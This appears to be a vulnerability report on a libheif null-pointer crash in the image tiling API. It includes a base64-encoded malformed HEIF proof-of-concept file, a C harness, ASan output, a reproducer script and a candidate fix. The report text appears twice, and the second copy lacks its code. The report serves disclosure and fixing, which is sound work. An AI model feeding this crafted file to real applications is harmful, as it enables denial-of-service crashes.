Reporter: JUNYI LIU
Summary
libheif crashes in the public C API heif_image_handle_get_image_tiling() when a malformed uncompressed HEIF image item has an associated uncC property but no associated ispe property. In debug builds this trips the ispe && uncC assertion in ImageItem_uncompressed::get_heif_image_tiling(). In a release/NDEBUG ASan build, the same file causes a null pointer read at address 0xa8.
Affected Code
libheif/image-items/unc_image.cc
Root Cause
ImageItem_uncompressed::get_heif_image_tiling() assumes that both Box_ispe and Box_uncC are present:
auto ispe = get_property<Box_ispe>();
auto uncC = get_property<Box_uncC>();
assert(ispe && uncC);
tiling.num_columns = uncC->get_number_of_tile_columns();
tiling.num_rows = uncC->get_number_of_tile_rows();
tiling.tile_width = ispe->get_width() / tiling.num_columns;
The parser can construct an uncompressed image item where uncC is associated but ispe is not associated with the item. In release builds the assert is compiled out and the public API dereferences the null ispe pointer.
Impact
Any application that calls heif_image_handle_get_image_tiling() on attacker-supplied HEIF input can crash. This is a denial-of-service issue. I do not have evidence of code execution or arbitrary read/write.
Version Tested
5075bf14b330d986b5811bb344707cde56909457
Reproduction
- Save the following base64 data as
poc.heif.
AAAAGGZ0eXBtaWYxAAAAAG1pZjFoZWlmAAABHG1ldGEAAAAAAAAAMmhkbHIAAAAAAAAAAHBpY3QA
AAAAAAAAAAAAAABHUEFDIHBpY3QgSGFuZGxlcgAAAAAOcGl0bQAAAAAAAQAAAB5pbG9jAAAAAARA
AAEAAQAAAAABPAABAAACWAAAAChpaW5mAAAAAAABAAAAGmluZmUCAAAAAAEAAHVuY2lJbWFnZQAA
AACKaXBycAAAAGtpcGNvAAAAFGlzcGUAAAAAAAAAngAAABQAAAAQcGFzcAAAAAEAAAABAAAADmNt
cGQAAAABAAAAAAAxdW5jQwAAAAAAAAAAAAAAAQAABwAAAAMAAAAAAAAAAAAAAAAAAAAAAAEAAAAD
AAAAF2lwbWEAAAAAAAAAAQABBIMCg4QA
- Build and run this minimal C/C++ API replay against libheif:
#include <stdio.h>
#include "libheif/heif.h"
#include "libheif/heif_tiling.h"
int main(void) {
heif_context* ctx = heif_context_alloc();
heif_error err = heif_context_read_from_file(ctx, "poc.heif", NULL);
if (err.code != heif_error_Ok) {
printf("read failed: %s\n", err.message ? err.message : "(no message)");
return 1;
}
heif_image_handle* handle = NULL;
err = heif_context_get_primary_image_handle(ctx, &handle);
if (err.code != heif_error_Ok || !handle) {
printf("primary handle failed: %s\n", err.message ? err.message : "(no message)");
return 1;
}
heif_image_tiling tiling;
err = heif_image_handle_get_image_tiling(handle, 1, &tiling);
printf("tiling err=%d sub=%d columns=%u rows=%u\n",
err.code, err.subcode, tiling.num_columns, tiling.num_rows);
heif_image_handle_release(handle);
heif_context_free(ctx);
return 0;
}
Observed ASan Result
AddressSanitizer: SEGV on unknown address 0x0000000000a8
The signal is caused by a READ memory access.
ImageItem_uncompressed::get_heif_image_tiling() const
heif_image_handle_get_image_tiling
main
Candidate Fix
Guard missing properties and zero tile dimensions before using them. One possible minimal fix is:
diff --git a/libheif/image-items/unc_image.cc b/libheif/image-items/unc_image.cc
--- a/libheif/image-items/unc_image.cc
+++ b/libheif/image-items/unc_image.cc
@@ -393,8 +393,13 @@ heif_image_tiling ImageItem_uncompressed::get_heif_image_tiling() const
auto ispe = get_property<Box_ispe>();
auto uncC = get_property<Box_uncC>();
- assert(ispe && uncC);
+ if (!ispe || !uncC ||
+ uncC->get_number_of_tile_columns() == 0 ||
+ uncC->get_number_of_tile_rows() == 0) {
+ return ImageItem::get_heif_image_tiling();
+ }
+ tiling.version = 1;
tiling.num_columns = uncC->get_number_of_tile_columns();
tiling.num_rows = uncC->get_number_of_tile_rows();
Runnable Reproducer Script
Save as repro.sh and run from the root of a libheif checkout:
#!/usr/bin/env bash
set -euo pipefail
# Run from the root of a libheif source checkout.
# Tested at commit 5075bf14b330d986b5811bb344707cde56909457.
# No persistent state: this script creates and removes only a temporary directory.
# Non-claims: this proves a public API crash / denial of service only. It does
# not claim code execution, arbitrary read/write, or ordinary decode-path impact.
tmpdir="$(mktemp -d)"
cleanup() {
rm -rf "$tmpdir"
}
trap cleanup EXIT
commit="$(git rev-parse HEAD 2>/dev/null || true)"
echo "version_commit=${commit:-unknown}"
cat > "$tmpdir/poc.b64" <<'B64'
AAAAGGZ0eXBtaWYxAAAAAG1pZjFoZWlmAAABHG1ldGEAAAAAAAAAMmhkbHIAAAAAAAAAAHBpY3QA
AAAAAAAAAAAAAABHUEFDIHBpY3QgSGFuZGxlcgAAAAAOcGl0bQAAAAAAAQAAAB5pbG9jAAAAAARA
AAEAAQAAAAABPAABAAACWAAAAChpaW5mAAAAAAABAAAAGmluZmUCAAAAAAEAAHVuY2lJbWFnZQAA
AACKaXBycAAAAGtpcGNvAAAAFGlzcGUAAAAAAAAAngAAABQAAAAQcGFzcAAAAAEAAAABAAAADmNt
cGQAAAABAAAAAAAxdW5jQwAAAAAAAAAAAAAAAQAABwAAAAMAAAAAAAAAAAAAAAAAAAAAAAEAAAAD
AAAAF2lwbWEAAAAAAAAAAQABBIMCg4QA
B64
base64 -d "$tmpdir/poc.b64" > "$tmpdir/poc.heif"
cat > "$tmpdir/repro.cc" <<'CPP'
#include <cstdio>
#include "libheif/heif.h"
#include "libheif/heif_tiling.h"
int main(int argc, char** argv)
{
if (argc != 2) {
return 2;
}
heif_context* ctx = heif_context_alloc();
heif_error err = heif_context_read_from_file(ctx, argv[1], nullptr);
if (err.code != heif_error_Ok) {
std::fprintf(stderr, "read failed: %s\n", err.message ? err.message : "(no message)");
return 2;
}
heif_image_handle* handle = nullptr;
err = heif_context_get_primary_image_handle(ctx, &handle);
if (err.code != heif_error_Ok || !handle) {
std::fprintf(stderr, "primary handle failed: %s\n", err.message ? err.message : "(no message)");
return 2;
}
heif_image_tiling tiling{};
err = heif_image_handle_get_image_tiling(handle, 1, &tiling);
std::printf("tiling err=%d sub=%d columns=%u rows=%u\n",
err.code, err.subcode, tiling.num_columns, tiling.num_rows);
heif_image_handle_release(handle);
heif_context_free(ctx);
return 0;
}
CPP
echo "ENVIRONMENT_READY"
cmake -S . -B "$tmpdir/build" \
-DCMAKE_BUILD_TYPE=RelWithDebInfo \
-DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DWITH_UNCOMPRESSED_CODEC=ON \
-DWITH_EXAMPLES=OFF \
-DWITH_GDK_PIXBUF=OFF \
-DWITH_RAV1E=OFF \
-DWITH_DAV1D=OFF \
-DWITH_LIBDE265=OFF \
-DWITH_X265=OFF \
-DWITH_AOM_DECODER=OFF \
-DWITH_AOM_ENCODER=OFF
cmake --build "$tmpdir/build" --target heif -j"$(nproc)"
c++ -std=c++17 -fsanitize=address -fno-omit-frame-pointer \
-Ilibheif/api -I"$tmpdir/build" -I. \
"$tmpdir/repro.cc" -L"$tmpdir/build/libheif" -lheif -lz -lstdc++ \
-o "$tmpdir/repro"
set +e
LD_LIBRARY_PATH="$tmpdir/build/libheif:${LD_LIBRARY_PATH:-}" \
ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1 \
"$tmpdir/repro" "$tmpdir/poc.heif" > "$tmpdir/out.log" 2>&1
rc=$?
set -e
cat "$tmpdir/out.log"
if grep -q "ImageItem_uncompressed::get_heif_image_tiling" "$tmpdir/out.log"; then
echo "VULNERABLE_BEHAVIOR_CONFIRMED"
echo "RESULT_DOS_CONFIRMED"
exit 0
fi
echo "reproducer did not observe expected crash; rc=$rc"
exit 1
Notes
I also found a separate heif_context_get_entity_groups() crash while testing adjacent APIs, but that appears to duplicate public issue #1802 / PR #1806 and is not part of this report.
Reporter: JUNYI LIU
Summary
libheif crashes in the public C API
heif_image_handle_get_image_tiling()when a malformed uncompressed HEIF image item has an associateduncCproperty but no associatedispeproperty. In debug builds this trips theispe && uncCassertion inImageItem_uncompressed::get_heif_image_tiling(). In a release/NDEBUG ASan build, the same file causes a null pointer read at address0xa8.Affected Code
libheif/image-items/unc_image.ccRoot Cause
ImageItem_uncompressed::get_heif_image_tiling()assumes that bothBox_ispeandBox_uncCare present:The parser can construct an uncompressed image item where
uncCis associated butispeis not associated with the item. In release builds the assert is compiled out and the public API dereferences the nullispepointer.Impact
Any application that calls
heif_image_handle_get_image_tiling()on attacker-supplied HEIF input can crash. This is a denial-of-service issue. I do not have evidence of code execution or arbitrary read/write.Version Tested
5075bf14b330d986b5811bb344707cde56909457Reproduction
poc.heif.Observed ASan Result
Candidate Fix
Guard missing properties and zero tile dimensions before using them. One possible minimal fix is:
Runnable Reproducer Script
Save as
repro.shand run from the root of a libheif checkout:Notes
I also found a separate
heif_context_get_entity_groups()crash while testing adjacent APIs, but that appears to duplicate public issue #1802 / PR #1806 and is not part of this report.